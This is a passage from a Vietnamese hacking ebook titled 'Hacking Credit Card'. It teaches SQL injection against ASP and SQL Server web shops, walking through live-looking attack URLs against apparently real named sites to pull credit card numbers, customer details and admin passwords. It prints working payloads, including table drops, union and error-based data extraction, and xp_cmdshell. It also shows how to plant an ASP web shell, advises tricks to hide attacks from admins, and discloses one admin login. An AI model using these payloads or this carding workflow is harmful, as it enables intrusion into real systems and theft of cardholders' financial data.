Vì vậy khi vào giá trị đầu vào không đúng như trong csdl liệu:

Forename: jo'hn

Surname: smith

Câu truy vấn trở thành:

select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'

Câu truy vấn trên khi được xử lý thì nó sẽ phát sinh lổi:

Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'hn'.

Lý do là ta lồng vào dấu nháy đơn "'" và giá trị vào trở thành 'hn' sai so với csdl vậy sẽ phát sinh lổi lợi dụng cái nàyattacker có thể xoá dữ liệu của bạn như sau:

Forename: jo'; drop table authors--

Table author sẽ bị xóa>nguy hiểm phải không

Nhìn vào đoạn code asp sau:đây là một form login

Page 35: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

<HTML>

<HEAD>

<TITLE>Login Page</TITLE>

</HEAD>

<BODY bgcolor='000000' text='cccccc'>

<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>

<TABLE>

<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%

Page 4

width=100></INPUT></TD></TR>

<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%

width=100></INPUT></TD></TR> </TABLE>

<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>

</FORM>

</FONT>

</BODY>

</HTML>

Đây là code 'process_login.asp'

<HTML>

<BODY bgcolor='000000' text='ffffff'>

<FONT Face='tahoma' color='ffffff'>

<STYLE>

p { font-size=20pt ! important}

font { font-size=20pt ! important}

Page 36: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

</STYLE>

<%@LANGUAGE = JScript %>

<%

function trace( str )

{

if( Request.form("debug") == "true" )

Response.write( str );

}

function Login( cn )

{

var username;

var password;

username = Request.form("username");

password = Request.form("password");

var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from users where username = '" + username + "'

and password = '" + password + "'";

trace( "query: " + sql );

rso.open( sql, cn );

if (rso.EOF)

{

rso.close(); %>

<FONT Face='tahoma' color='cc0000'>

<H1>

<BR><BR>

Page 37: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

<CENTER>ACCESS DENIED</CENTER>

</H1>

</BODY>

</HTML>

<%

Response.end

return;

}

else

{

Session("username") = "" + rso("username");

%>

<FONT Face='tahoma' color='00cc00'>

<H1>

<CENTER>ACCESS GRANTED<BR>

<BR>

Welcome,

<% Response.write(rso("Username"));

Response.write( "</BODY></HTML>" );

Response.end }

}

function Main()

{

//Set up connection

var username

var cn = Server.createobject( "ADODB.Connection" );

Page 38: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

cn.connectiontimeout = 20;

cn.open( "localserver", "sa", "password" );

username = new String( Request.form("username") );

if( username.length > 0)

{

Login( cn );

}

cn.close();

}

Main();

%>

Đây là câu truy vấn SQL:

var sql = "select * from users where username = '" + username + "'

and password = '" + password + "'";

nếu hacker vào như sau:

Username: '; drop table users--

Password:

thì table 'user; sẽ bị xoá,và ta có thể vượt qua bằng cách sau:bypass các bạn biết hết rồi tôi không nói lại nữa Ơ trường username hacker có thể vào như sau:

Username: ' union select 1, 'fictional_user', 'some_password', 1--

ví dụ table user được tạo như sau:

create table users( id int,

username varchar(255),

password varchar(255), privs int

)

và insert vào:

Page 39: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )

insert into users values( 0, 'guest', 'guest', 0x0000 )

insert into users values( 0, 'chris', 'password', 0x00ff )

insert into users values( 0, 'fred', 'sesame', 0x00ff )

Các hacker sẽ biết được kết quả các column và table qua câu truy vấn having 1=1

Username: ' having 1=1--

Lổi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

/process_login.asp, line 35

Tiếp tục lấy các cái còn lại:

Username: ' group by users.id having 1=1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'

is invalid in the select list because it is not contained in either an

aggregate function or the GROUP BY clause.

/process_login.asp, line 35 >> biết được column 'username'

' group by users.id, users.username, users.password, users.privs having 1=1--

Cho đến khi không còn báo lổi thì dừng lại

vậy là bạn đã biết table và column cần khai thác rồi,bây giờ đến đi lấy giá trị của nó:Để xác định nội dung của column ta dùng hàm sum()

Username: ' union select sum(username) from users--

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average

aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35

Page 40: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Giá trị của username là varchar,không nói các bạn cũng biết lý do,còn dùng với id thì sao nhỉ:

Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL

statement containing a UNION operator must have an equal number of

expressions in their target lists.

/process_login.asp, line 35

Vậy là ta có thể insert vào csdl:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff)--

Lấy Version của server:

Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug

6 2000 00:57:48 Copyright © 1988-2000 Microsoft Corporation Enterprise

Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of

data type int.

/process_login.asp, line 35

có thể dùng convert() nhưng tôi chỉ các bạn dùng union ,các bạn thử đọc nội dung của các user trogn table như sau:

Username: ' union select min(username),1,1,1 from users where username > 'a'-- Chọn giá trị nhỏ nhất của username và cho nó lớn hơn 'a' > phát sinh lổi:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35

Vậy là ta biết 'admin' acc tồn tại,tiếp tục xem sao:

Page 41: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Username: ' union select min(username),1,1,1 from users where username > 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35

Vậy là khi có username > lấy pass:

Username: ' union select password,1,1,1 from users where username ='admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35

Đây là kỹ thuật mà bạn có thể lấy được user một cách cao cấp:

Tạo một script như sau:

begin declare @ret varchar(8000)

set @ret=':'

select @ret=@ret+' '+username+'/'+password from users where

username>@ret

select @ret as ret into foo

end

>cau truy vấn:

Username: '; begin declare @ret varchar(8000) set @ret=':' select

@ret=@ret+' '+username+'/'+password from users where username>@ret

select @ret as ret into foo end--

Tạo một table 'foo' với một column là 'ret' Tiếp tục:

Username: ' union select ret,1,1,1 from foo--

Page 42: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value ': admin/r00tr0x! guest/guest chris/password

fred/sesame' to a column of data type int.

/process_login.asp, line 35

(Hình như mrro dùng kiểu này vào VDC)

Xoá dấu vết:

Username: '; drop table foo--

Một hacker khi điều kiển được csdl thì họ muốn xa hơn đó là điều khiển hệ thống mạng của server đó luôn,một trongsố cách đó:

1-Sữ dụng xp_cmdshell khi đã có quyền 'sa'

2-Sữ dụng xp_regread để đọc register,bao gồm SAM

3-Chạy link query trên server

4-Tạo script trên server để khai thác

5-Sữ dung 'bulk insert' để đọc bất cứ file nào trên hệ thống

6-Sữ dụng bcp để tạo quền cho text file trên server

7-Sữ dụng sp_OACreate, sp_OAMethod and sp_OAGetProperty để tạo script (ActiveX) chạy trên server

[xp_cmdshell] Chắc các bạn cũng nghe nhiều rồi ví dụ:

exec master..xp_cmdshell 'dir'

exec master..xp_cmdshell 'net1 user'

Sữ dụng để thi hành các lệnh của dos vvv.. rất hưu hiệu

[xp_regread]

Các hàm liên quan...

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

Page 43: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

xp_regenumkeys

xp_regenumvalues

xp_regread

xp_regremovemultistring

xp_regwrite

Ví dụ:

exec xp_regread HKEY_LOCAL_MACHINE,

'SYSTEM\CurrentControlSet\Services\lanmanserver\pa rameters','nullsessionshares'

Xác đinh null-session share có tồn tại trên server

exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Servi ces\snmp\parameters\validcommunities'

v... còn nhiều thứ nữa

[Other Extended Stored Procedures]

services:

exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'

>ngó qua cũng biết nó làm gì...

[Importing text files into tables]

Sữ dụng 'bulk insert' để chèn text file vào thư mục hiện thời,tạo table đơn:

create table foo( line varchar(8000) )tiếp tục:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

[Creating Text Files using BCP]

VD:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

[ActiveX automation scripts in SQL Server] Dùng 'wscript.shell'

Page 44: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

vd:

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Tren câu truy vấn:

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

Dùng 'scripting.filesystemobject' để đọc file:

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

exec @ret = sp_oamethod @f, 'readline', @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, 'readline', @line out

end

Tạo script ASP để thi hành command:

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out,

'c:\inetpub\wwwroot\foo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

'<% set o = server.createobject("wscript.shell"): o.run(

request.querystring("cmd") ) %>'

Đây là những cách bạn có thể dùng rất hiệu quả,bạn hãy sáng tạo thêm cho mình từ những chỉ dẫn cơ bản này.

Page 45: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQLCHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH- Tìm và xác định lỗi Injection SQL:Đến nay vẫn chưa có một từ khoá nào giúp các bạn tìm ra shop sử dụng SQL, vì vậy cần xác định site shop dùng SQLđể hack, thường thì nên dùng từ khoá "shopping asp", "Product", "VP-ASP shopping"...Sau khi tìm được shop dùng SQL, tại câu lệnh có đoạn cuối tương tự sau: store/viewProduct.asp?ec_products=6620 takiểm tra lỗi bằng cách thêm dấu (‘) vào sau dấu (=),ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620'Nếu hiện thông báo lỗi (chú ý chỗ in đậm):Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' ORDERBY viewOrder ASC'./store/viewProduct.asp, line 114

Nghĩa là site này bị lỗi Injection SQL, ta có thể hack.

- Cấu trúc câu lệnh để hack: Url victim+câu lệnh

Ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20table_name%20from%20information_schema.tables))--sp_password

- Đây là 3 câu lệnh cơ bản bạn cần dùng trong quá trình hack lỗi Injection SQL:

1/ Câu lấy table:%20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables))--sp_passwordDùng để lấy table tiếp theo:%20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables%20where%20table_name%20not%20in('table_đã_có')))--sp_password

2/ Câu lấy column:%20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where%

20table_name%20='table_cần_lấy_column'))--sp_password Dùng để lấy column tiếp theo:%20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where%20table_name%20='table_cần_lấy_column'%20and%20column_name%20not%20in('co lumn_bạn_đã_có)))-sp_password

3/ Câu khai thác dữ liệu:%20%2bconvert(int,(select%20top%201tên_column%2B'/'%2btên_column%20from tên_table_muốn_khai_thác))--sp_password

Để khai thác dữ liệu kế tiếp trên cùng một table bằng:where tên_column not in%20%2bconvert(int,(select%20top%201têncolumn%2B'/'%2btêncolum%20from%20tên_table_khai_thác%20where%20tên_colum_chứa_dữ_liệu_đã_có%20not%20in('dữ_liệu_đã_có_của_column_khai_báo_phía_trước)))--sp_password

Chú ý: Phải dùng -sp_password để admin không phát hiện được

Sau đây là ví dụ thực hành, site này có CC:

Page 46: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

I/ Xem xét site sau: Các bạn có thể copy các đoạn link màu đỏ cho chạy trên IE để theo dõi kết quả hướng dẫn.http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620'Có lỗi Injection SQL

II/ Lấy table:

1/ Lấy table đầu tiên:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20table_name%20from%20information_schema.tables))--sp_password

Kết quả:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'donations' to acolumn of data type int./store/viewProduct.asp, line 114'donations' là table đầu tiên

2/ Lấy table kế tiếp:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in('donations' )))--sp_passwordKết quả:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Editor' to a column ofdata type int./store/viewProduct.asp, line 114'Editor' là table thứ 2

3/ Table thứ 3:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in('donations' ,'Editor')))--sp_passwordKết quả:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'bills' to a column ofdata type int./store/viewProduct.asp, line 114

Và các bạn làm tương tự để lấy hết table, đến khi không xuất hiện thêm table là hết. Kết quả:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in('donations' ,'Editor','bills','bills_20040213','billsCandidate s','billsCandidates_20040213','billsCandidatesImport','candidates','candidates_20040213','candidates New','contribute','dtproperties','ec_categories','ec_orders','ec_priceBreaks','ec_products','ec_regi on','ec_shippers','ec_shippingOrders','ec_suppliers','ec_territory','Editor_letters','Editor_queue', 'Editor_recipients','emailUpdates','MinnesotaHouseRollCallVotes','MinnesotaSenateRollCallVotes','off ices','parties','party','Postcards','PostcardsBlacklist','ppmsd','sbEntries','siteSection','storetem p','stories','storyCategories','subjects','sysconstraints','syssegments','tblConstitutionalOfficerSl ate','tblConstitutionalOfficerSlate$','tblStateLeg2002_Query','users','users_choice','vw_contribute_ pending','vw_contribute_processed')))--sp_password

II/ Lấy column:Chú ý các table chứa dữ liệu quan trọng liên quan đến CC và pass admin thường có tên: orders, user, tbloders, tbluser...

Page 47: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

1/ Khai thác column đầu tiên trong table 'ec_orders':http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'))--sp_passwordKết quả:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'firstname' to acolumn of data type int./store/viewProduct.asp, line 114'firstname' là column đầu tiên trong table 'ec_orders'

2/ Lấy column tiếp theo:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and%20column_name%20not%20in('firstname')))--sp_passwordKết quả:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'lastname' to a columnof data type int./store/viewProduct.asp, line 114

3/ Làm tương tự để khai thác hết column của table này:Kết quả:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and%20column_name%20not%20in('firstname','lastname','email','orgName','address','city','state','zip','tele_areacode','tele_first','tele_last','credit_card','card_number','ExpDate_month','ExpDate_year','timestamp','shippedDate','orderNumber','shipped','billing_firstname','billing_lastname'lastname','billing_email','billing_orgName','billing_address ','billing_city','billing_state','billing_zip','billing_tele_areacode','billing_tele_first','billing_tele_last','nameOnCard','survey_nameOfPerson','survey_materials','survey_emailAddress','survey_findMethod','survey_interest ed','po_number')))--sp_password III/ Khai thác CC:Các bạn chú ý các column quan trọng trong table 'ec_orders' đã được in đậm:

1/ Khai thác 'credit_card','card_number' trong 'ec_orders' :http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20credit_card%2b'/'%2bcard_number%20from%20ec_orders))--sp_passwordCác bạn dùng link trên để xem kết quả (vì nội quy của From nên không đưa kết quả ra)Tương tự, lấy kết quả kế tiếp:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20credit_card%2b'/'%2bcard_number%20from%20ec_orders%20where%20card_ number%20not%20in('card_number-bạn_đã_có_ở_trên')))--sp_passwordSố column truy vấn tùy thuộc vào ý thích của mỗi bạn. Dùng %2b'/'%2b nghĩa là hiển thị kết quả có phân cách bằngdấu (/) để dễ nhận biết.Các bạn lưu ý: số column truy vấn càng nhiều thì khả năng truy xuất dữ liệu càng thấp vì câu lệnh không hiểu nhữngkhoảng trống không có dữ liệu. Tốt nhất là thử với 1 column kiểm tra kết quả, sau đó thêm column kế tiếp vào câulệnh truy xuất.

Page 48: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Câu lệnh truy xuất hoàn chỉnh trong table ec_orders của site này (các bạn dùng link này để xem kết qu&#7843 :http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%20firstname%2b'/'%2blastname%2b'/'%2bemail%2b'/'%2borgName%2b'/'%2baddress%2b'/'%2bcredit_card%2b'/'%2bcard_number%2b'/'%2bExpDate_month%2b'/'%2bExpDate_year%2b'/'%2bnameOnCard%2b'/'%2bcity%2b'/'%2bstate%2b'/'%2bzip%20from%20ec_orders))--sp_password

Tương tự bạn có thể làm với các table khác để lấy dữ liệu của admin, customer...

IV/ Một số kinh nghiệm trong quá trình hack shop bằng lỗi Injection SQL:

- Sau khi phát hiện site lỗi Injecton SQL, bạn nên mua thử một món hàng nào đấy trên site này để kiểm tra các thôngtin sau: có cho phép dùng CC mua không, CC có cvv2, thanh toán online trên site bị lỗi hay trên một site khác,customer đăng nhập mua hàng có dùng password không...tất cả những thông tin liên quan đến việc mua bán để xácđịnh có nên hack site này không.

- Nên khai thác đầu tiên là creditcard_number , nếu không có, có khả năng site đã fix dữ liệu hoặc dùng một site khácđể thanh toán.

- Khi lấy được user/pass của admin cần dùng nó để đăng nhập server với giao thức ftp, ví dụ:ftp://ppmsddev.ctsg.com/,nếu maymắn bạn có thể làm chủ server và không cần phải phí công nhiều trong khi hack.

- Thường các site này hay dấu link để đăng nhập quyền admin, bạn cần chịu khó tìm, và dùng chương trình scan Urlcủa trang này để tìm trang đăng nhập.

- Có một số trường hợp, site bị lỗi Injectjon nhưng hiện trang báo lỗi: The page cannot bedisplayed, bạn cần chú ý phía bên dưới để phát hiện thông báo lỗi của Injection SQL, ví dụ:The page cannot be displayedThere is a problem with the page you are trying to reach and it cannot be displayed....................HTTP 500.100 - Internal Server Error - ASP errorInternet Information ServicesTechnical Information (for support personnel)Error Type:Provider ('80040e14')Type mismatch./shopping/shop$db.asp, line 875Browser Type:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)Page:GET /shopping/shopdisplayproducts.aspTime:Friday, February 27, 2004, 11:20:19 PMMore information:Microsoft Supporthttp://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&ID=500;100&cat=Provider&os=&over=&hrd=&Opt1=&Opt2=%2D2147352571&Opt3=Type+mismatch%2E

Page 49: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛThực ra thì cái lỗi này có từ lâu rồi , nhưng các bạn biết tại sao mà nó còn nhiều không , rất nhiều , rất nhiều . Bỡi vìđơn giản là " nhác " . Jet database có nhiều cách , nhưng làm theo cách này newbie dễ hiễu và cũng không cần làm gìngoài việc thêm dòng lệnh sau url bị lỗi cả .Bắt đầu1. Vào google search từ khoá :proddetail.asp?prod=* < * ỡ đây các bạn có thễ thay thế = bất cứ số nào 1, 2,3 ... hay100 , 200 , tuỳ >2. Thêm dấu ' đễ tìm site có lỗi3. Nhận biết site có lỗi = dòng sauCODEMicrosoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match.

/Retail/vsadmin/inc/incproddetail.asp, line 334. Ví dụ cụ thễ , tôi check thữ sitehttp://www.kleer-fax.com/proddetail.asp?prod=23305Thêm dấu ' vào sau 23305 ok ??Lỗi hiện raCODEMicrosoft JET Database Engine error '80040e14'Syntax error in string in query _expression 'pId='23305'''./proddetail.asp, line 246Bắt đầu khai thác nhé các bạn , tìm table và collumn của nó = lệnh truy vấn sau :

QUOTE%27union%20select%201%20from%20admin

Sau khi thêm câu lệnh vào link ta được :http://www.kleer-fax.com/proddetail.asp?prod=23305%27union%20select%201%20from%20adminTa được

QUOTEMicrosoft JET Database Engine error '80040e14'The number of columns in the two selected tables or queries of a unionquery do not match./proddetail.asp, line 246Á , sai rùi , đùa đấy , lỗi vừa rồi nói rằng : có tồn tại giá trị collumn chứa thông tin admin á , check tiếpThêm ,2 vào sau select%201 .

CODEhttp://www.kleer-fax.com/proddetail.asp?prod=23305%27%20union%20select% 201,2%20from%20adminA nó cũng báo y như trênCODEMicrosoft JET Database Engine error '80040e14'The number of columns in the two selected tables or queries of a unionquery do not match./proddetail.asp, line 246

Page 50: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Khi vẫn chưa tìm ra được cái minh cần thì các bạn cứ thêm lần lượt ,3,4,5,6,7,8 vào tiếp cho đến khi :QUOTEHome : All Products

4-5-6

Item: 3 List Price: $9.00 USD7

201Hehe đây chính là cái ta cần tìm . Và dãy số ta cần thêm vào ỡ trên kết thúc đến số 14 < May mà mới đến số 14 , konãn >Chu y sô 7 va 201 nhe, đo la thông tin cua 2 columb chưa thông tin Admin ( user/ pass)Ta thay câu lênh truy vân user va pass admin vao vi tri 201 va 7Mệt quá , :( đến tận số 201 , ai muốn học tập thì đánh đến số 201 nha :DĐễ tiện các bạn test mình giả sữ số 201 là số 1 thì câu truy vấn sẽ làCODEhttp://www.kleer-fax.com/proddetail.asp?prod=23305%27and%201=0%20union% 20select%201%2c2%2c%27username:%20%27%2badminuser%2c4%2c5%2c6%2c%27password:%20%27%2badminpassword%2c8%2c9%2c10%2c11%2c12%2c13%2c14%20from%20admin

Đó , các bạn đánh đến số 200 rùi đến 201 thì thay = adminpassword :D . Lúc đó sẽ hiện ra những dòng sauQUOTEPlease choose from the list below.

Change username / password:Edit admin settings:Edit categories:Edit products:Logout:

Chu y: Khi union đươc ma ko bao lôi thi mơi dung and 1=0

Page 51: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL FROM HCV---- Đây là phương pháp hack lỗi SQL nâng cao đối với các shop VP-ASP. Được sự giúp đỡ của 1 admin trong HCVhiện tại Quoc xin được chia sẻ với các bạn

**********************************************Vuln: SQL Inject in VP-ASP all of versionExploiter: UnknownTool: Mozilla Firefox Download**********************************************Đầu tiên, bạn phải tìm ra shop của victimCông cụ:http://google.com/Keyword: shopdisplayproducts.asp?shopaddtocart.asp?shopexd.aspCác bạn tự tìm thêm key cho mình nhé.

Ví dụ ở đây tui chọn shopCODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1

Sau đó chúng ta thêm dấu ' vao phía sau link thành như sauCODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1'

Ok, chúng ta bắt đầu tìm link admin nhé

---- Tìm chữ đầu tiên trong link admin, các bạn thêm dòng lệnh này vao phía sau link trên nhéCODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='s')

Chúng ta sẽ thay dần giá trị 's' sao cho ứng với kí tự đầu tiên của linkỞ đây tui tìm được là kí tự 'a'

---- Sau đó tìm tiếp chiều dài của link admin (thường thì tu gia trị thứ 5 trở đi vì link admin sẽ có thêm .asp ví duadmin.asp <--- có 9 kí tự)

CODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='a' and len(fieldvalue)=5)

Thay tiếp giá trị 5 thành các giá trị số cho đến khi tìm được đúng chiều dài của link admin.Ở đây mình tìm được là 15 ki tự

---- Tiếp theo tìm các kí tự còn lại trong link admin nhé.CODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,2)='ad')

Page 52: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Thay đổi dần giá trị trong lệnh left ứng với vị trí kí tự của link admin.

Sau khi tìm được link admin, chúng ta sẽ được adminonline.asp

---- Tiếp theo tìm usernameCác bạn thêm câu truy vấn này phía sau link nhéCODE%20or%201=(select%20fldusername%20from%20tbluser%20where%20left(fldusername,1)='q')

Khi đó câu truy vấn sẽ làCODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldusername%20from%20tbluser%20where%20left(fldusername,1)='s')

Ở đây kí tự đầu tiên là 's'

---- Tiếp theo tìm chiều dài của usernameCODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldusername%20from%20tbluser%20where%20left(fldusername,1)='s' and len(fldusername)=3)

Chúng ta sẽ tìm được username là "sfp"---- Tìm password

Cũng tương tự như trên chỉ cần thay fldusername bằng fldpassword

Các bạn thêm câu truy vấn này phía sau link nhéCODE%20or%201=(select%20fldpassword%20from%20tbluser%20where%fldusername='sfp' and left(fldpassword,1)='p')

Tìm password tương ứng với username là "sfp". Chữ đầu tiên là 'p'

Khi đó câu truy vấn sẽ làCODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldpassword%20from%20tbluser%20where%fldusername='sfp' and left(fldpassword,1)='p')

Ở đây kí tự đầu tiên là 'p'

---- Tiếp theo tìm chiều dài của passwordCODEhttps://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldpassword%20from%20tbluser%20where%fldusername='sfp' and left(fldpassword,1)='p' and len(fldpassword)=11) Sau khi tìm được chúng ta sẽ co pass là 'performance'

*************************************************************

Cuối cùng sau khi hoàn tất chúng ta sẽ có link admin làhttp://www.sfp.net/adminonline.asp

user: sfppass: performance

Page 53: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL BY CONGLAPHVA-Vào www.google.com.vn đánh vào

-allinurl:'/product.asp/'

-allinurl:'/product.asp?productid/'

-allinurl:'/logint.asp'

-Bây giờ ta bắt đầu công việc,tôi chọn 1 site để hackhttp://www.victim.com/store/category.asp?CategoryID=83

-Kiểm tra lỗi:http://www.victim.com/store/category.asp?CategoryID=83' ( ta chỉ cần đánh vào dấu ' để test lỗi )

-Kết quả:

Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ''.

/store/includes/common.asp, line 2116

1. Thu thập cấu trúc dữ liệu :

Lấy Table đầu tiên

http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--sp_password Kết quả:

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'StateTaxes' to a column of data type int.

/store/includes/common.asp, line 2116

Như vậy ta có table đầu tiên là StateTaxes. Lấy tiếp table thứ hai :

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('StateTaxes')))--sp_password

Page 54: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

